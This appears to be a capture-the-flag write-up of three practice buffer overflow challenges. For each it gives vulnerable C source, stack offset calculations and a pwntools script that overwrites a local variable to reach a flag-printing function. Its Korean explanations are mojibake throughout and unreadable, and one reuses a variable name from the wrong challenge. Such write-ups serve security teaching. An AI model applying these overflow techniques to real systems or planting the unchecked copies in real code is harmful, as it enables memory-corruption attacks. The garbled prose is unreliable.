bof1 & bof2 & bof3
Buffer Overflow ๋ฌธ์ ํ์ด 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void print_flag() {
FILE *f = fopen("./flag.txt", "r");
if (f) {
char flag[256];
fgets(flag, sizeof(flag), f);
fclose(f);
printf("\n=== SUCCESS ===\n");
printf("Flag: %s", flag);
} else {
printf("Flag file not found\n");
}
exit(0);
}
void vulnerable_function(char *input, int *win_flag_ptr) {
int win_flag = 0;
char buffer[32];
strcpy(buffer, input);
printf("Buffer content: %s\n", buffer);
if (win_flag != 0) {
printf("Buffer overflow detected! Calling print_flag...\n");
print_flag();
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("=== BOF Challenge 3 ===\n\n");
char input[256];
int dummy = 0;
printf("Enter your payload: ");
fflush(stdout);
ssize_t n = read(STDIN_FILENO, input, sizeof(input) - 1);
if (n > 0) {
input[n] = 0;
if (input[n-1] == '\n') {
input[n-1] = 0;
}
}
vulnerable_function(input, &dummy);
printf("Program completed normally\n");
return 0;
}Local Binary์ ๊ฒฝ์ฐ win_flag ๋ณ์์ ์์น๋ rbp-0x4 ์ด๊ณ , call 0x4010d0 ์ ํตํด ๋ฏธ๋ฃจ์ด๋ณด์ buffer[32]์ ์์น๋ rbp-0x30 ์ด๋ค.
0x30 - 0x4 = 0x2c ์ ๋ฐ๋ผ ๋ ์ฌ์ด ๊ฑฐ๋ฆฌ๋ 44byte ์์ ์ ์ถํด๋ณผ ์ ์๊ณ , ์ด์ ๋ง์ถฐ exploit ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ์๋์ ๊ฐ๋ค.
from pwn import *
p = process('./bof1')
offset = 0x2C
payload = b'A' * offset
payload += p32(1)
p.sendlineafter(b"payload: ", payload)
print(p.recvall().decode())SuccessBuffer Overflow ๋ฌธ์ ํ์ด 2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void print_flag() {
FILE *f = fopen("/flag.txt", "r");
if (f) {
char flag[256];
fgets(flag, sizeof(flag), f);
fclose(f);
printf("\n=== SUCCESS ===\n");
printf("Flag: %s", flag);
} else {
printf("Flag file not found\n");
}
exit(0);
}
void vulnerable_function(char *input) {
int authenticated = 0;
char buffer[24];
strcpy(buffer, input);
printf("Buffer: %s\n", buffer);
printf("Authenticated: %d\n", authenticated);
if (authenticated != 0) {
printf("Authentication successful!\n");
print_flag();
} else {
printf("Authentication failed. Try again.\n");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("=== BOF Challenge 4 ===\n\n");
char input[256];
printf("Enter credentials: ");
fflush(stdout);
ssize_t n = read(STDIN_FILENO, input, sizeof(input) - 1);
if (n > 0) {
input[n] = 0;
if (input[n-1] == '\n') {
input[n-1] = 0;
}
}
vulnerable_function(input);
printf("Program completed\n");
return 0;
}
Local Binary์ ๊ฒฝ์ฐ win_flag ๋ณ์์ ์์น๋ rbp-0x4 ์ด๊ณ , call 0x4010d0 ์ ํตํด ๋ฏธ๋ฃจ์ด๋ณด์ buffer[24]์ ์์น๋ rbp-0x20 ์ด๋ค.
0x20 - 0x4 = 0x1c ์ ๋ฐ๋ผ ๋ ์ฌ์ด ๊ฑฐ๋ฆฌ๋ 28byte ์์ ์ ์ถํด๋ณผ ์ ์๊ณ , ์ด์ ๋ง์ถฐ exploit ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ์๋์ ๊ฐ๋ค.
from pwn import *
p = process('./bof2')
offset = 0x1C
payload = b'A' * offset
payload += p32(1)
p.sendlineafter(b"credentials: ", payload)
print(p.recvall().decode())SuccessBuffer Overflow ๋ฌธ์ ํ์ด 3
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void print_flag() {
FILE *f = fopen("./flag.txt", "r");
if (f) {
char flag[256];
fgets(flag, sizeof(flag), f);
fclose(f);
printf("\n=== SUCCESS ===\n");
printf("Flag: %s", flag);
} else {
printf("Flag file not found\n");
}
exit(0);
}
void check_access() {
print_flag();
}
void vulnerable_function(int index) {
int access_granted = 0;
int data_array[8] = {0, 1, 2, 3, 4, 5, 6, 7};
printf("Accessing array[%d]\n", index);
if (index >= 0 && index < 256) {
data_array[index] = 0x11223344;
printf("Wrote to array[%d]\n", index);
}
printf("Value of access_granted after write: %d\n", access_granted);
if (access_granted != 0) {
printf("Access granted!\n");
check_access();
} else {
printf("Access denied.\n");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("=== BOF Challenge 5 ===\n\n");
printf("Enter array index to access: ");
fflush(stdout);
char input_str[32];
ssize_t n = read(STDIN_FILENO, input_str, sizeof(input_str) - 1);
if (n > 0) {
input_str[n] = 0;
if (input_str[n-1] == '\n') {
input_str[n-1] = 0;
}
}
int index = atoi(input_str);
printf("You entered index: %d\n\n", index);
vulnerable_function(index);
printf("Program completed\n");
return 0;
}
Local binary๋ฅผ ๋ณด๋ฉด 7๋ถํฐ 0๊น์ง ์ฐจ๋ก๋๋ก ๊ฐ์ ์ ๋ ฅํ๋ ํ์๋ฅผ ๋ณผ ์ ์๋ค.
์์ค ์ฝ๋ ์ ์ฐ๋ฆฌ๊ฐ ์ค์ผ์์ผ์ผ ํ๋ access_granted์ ๊ฒฝ์ฐ data_array ๋ฐ๋ก ์๋จ์ ์๋ค๋ ๊ฒ๋ ํ์ธํ ์ ์๋ค.
์์ค ์ฝ๋๋ฅผ ํตํด ์ ๋ ฅ๊ฐ๋ฅ ๊ฐ์ ํ์ธํ์ ๋ index๋ฅผ ๋ฐฐ์ด์ ํน์ ์์น์ ๊ฐ์ ์ ๋ ฅํ๋ ํํ๋ก์จ ์ฐ์ผ ์ ์๋ ๊ฒ์ผ๋ก ํ์ธ๋๋๋ฐ, ๋ค๋ง index ๊ฐ์ ์ค์ array ํฌ๊ธฐ๋ณด๋ค ๋ ๋ง์ด ์ ๋ ฅํ ์ ์๊ฒ ๋์ด์์ผ๋ฏ๋ก ์ฐ๋ฆฌ๋ array๋ฅผ ๋์ด์ ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผํ ์ ์๋ค.
access_granted์ ์์น๋ rbp-0x4 ์ด๊ณ , data_array์ ์์ ์์น๋ rbp-0x30 ์ด๋ฏ๋ก 0x30 - 0x4 = 0x2c ์ด๋ค.
0x2c๋ 44byte์ด๋ฏ๋ก, integer array์ธ data_array์ index๋ก๋ 11 ์ด์์ ์ ๋ ฅํด์ผ ํ๋ค.
๋ฐ๋ผ์ ์ ๋ ฅ ๊ฐ์ผ๋ก 11์ ๋๊ธธ ๊ฒฝ์ฐ, data_array๊ฐ ์๋ ํน์ ์์น์ 0x11223344 ๋ฅผ ์ ๋ ฅํ๊ฒ ๋๊ณ ์์์ด ๋ง๋ค๋ฉด access_granted ๋ณ์์ 0x11223344 ๊ฐ ์ ๋ ฅ๋๋ฉฐ if ๋ฌธ์ ์ฐํํ์ฌ ์คํ๋ ๊ฒ์ด๋ค.
Successfrom pwn import *
p = process('./bof3')
p.sendlineafter(b"access: ", b"11")
print(p.recvall().decode())